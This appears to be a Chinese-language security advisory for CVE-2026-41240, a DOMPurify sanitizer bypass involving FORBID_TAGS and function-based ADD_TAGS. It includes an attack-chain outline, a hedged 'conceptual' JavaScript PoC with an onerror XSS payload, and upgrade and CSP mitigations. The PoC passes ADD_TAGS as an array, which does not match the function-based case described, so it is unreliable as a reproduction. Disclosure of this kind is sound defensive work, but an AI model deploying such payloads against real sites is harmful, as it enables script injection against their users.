IPBUF安全漏洞报告
English
CVE-2026-41240 CVSS 6.1 中危

CVE-2026-41240 DOMPurify XSS过滤绕过漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41240
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
DOMPurify

相关标签

XSSDOMPurifyBypassWeb SecurityFrontend Security

漏洞概述

DOMPurify是用于HTML、MathML和SVG的DOM-only XSS清理器。在3.4.0版本之前,存在一处逻辑缺陷。当使用基于函数的ADD_TAGS时,FORBID_TAGS的处理与FORBID_ATTR不一致。由于短路评估机制,特定条件下会跳过FORBID_TAGS检查,导致被禁止的元素及其属性能够绕过清理过程。攻击者可利用此漏洞构造恶意Payload,引发XSS攻击。

技术细节

该漏洞源于DOMPurify在处理标签和属性过滤时的逻辑不一致。尽管提交c361baa针对FORBID_ATTR引入了提前退出机制以优化性能(位于第1214行),但开发团队并未对FORBID_TAGS应用相同的修复逻辑。在代码第1118至1123行处,当EXTRA_ELEMENT_HANDLING.tagCheck函数返回true值时,受JavaScript短路评估机制影响,程序会直接跳过后续至关重要的FORBID_TAGS检查流程。这意味着,攻击者通过精心构造输入并利用基于函数的ADD_TAGS特性,可以成功绕过黑名单机制。这使得原本应被严格剔除的恶意标签及其属性能够完整保留在DOM结构中,彻底破坏了清理器的核心安全假设,从而导致存储型或反射型XSS攻击成为可能。

攻击链分析

STEP 1
侦察
攻击者识别目标Web应用使用了DOMPurify库作为XSS防护措施,且版本低于3.4.0。
STEP 2
构造Payload
攻击者利用FORBID_TAGS和ADD_TAGS处理逻辑的不一致性,构造包含被禁止标签的特制HTML字符串,利用短路评估绕过检查。
STEP 3
传递Payload
将构造好的恶意HTML代码通过输入字段(如评论框、用户资料等)提交给服务器。
STEP 4
执行攻击
服务器或前端应用使用存在漏洞的DOMPurify进行清理,由于漏洞存在,恶意代码未被移除。当其他用户浏览该内容时,恶意脚本在浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual Proof of Concept for CVE-2026-41240 // Requires DOMPurify < 3.4.0 const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); // Malicious payload attempting to inject a script or handler // Assuming 'style' or a specific tag is handled via the vulnerable path let dirty = '<style><img src=x onerror=alert(1)></style>'; // Configuration triggering the vulnerable path // Using ADD_TAGS in a way that triggers tagCheck logic let clean = DOMPurify.sanitize(dirty, { FORBID_TAGS: ['style', 'script'], // Tags that should be removed ADD_TAGS: ['custom-tag'], // The vulnerability arises when internal logic (tagCheck) interacts with these config options }); // Output the result console.log('Cleaned HTML:', clean); // If vulnerable, the malicious tag structure might survive or cause execution if (clean.includes('onerror') || clean.includes('alert')) { console.log('[!] Vulnerability Exploited: XSS payload survived.'); } else { console.log('[+] Sanitization successful.'); }

影响范围

DOMPurify < 3.4.0

防御指南

临时缓解措施
建议立即升级DOMPurify至3.4.0或更高版本。如果暂时无法升级,应在服务端实施额外的HTML过滤规则,或使用Content Security Policy (CSP) 限制脚本执行,以降低XSS攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表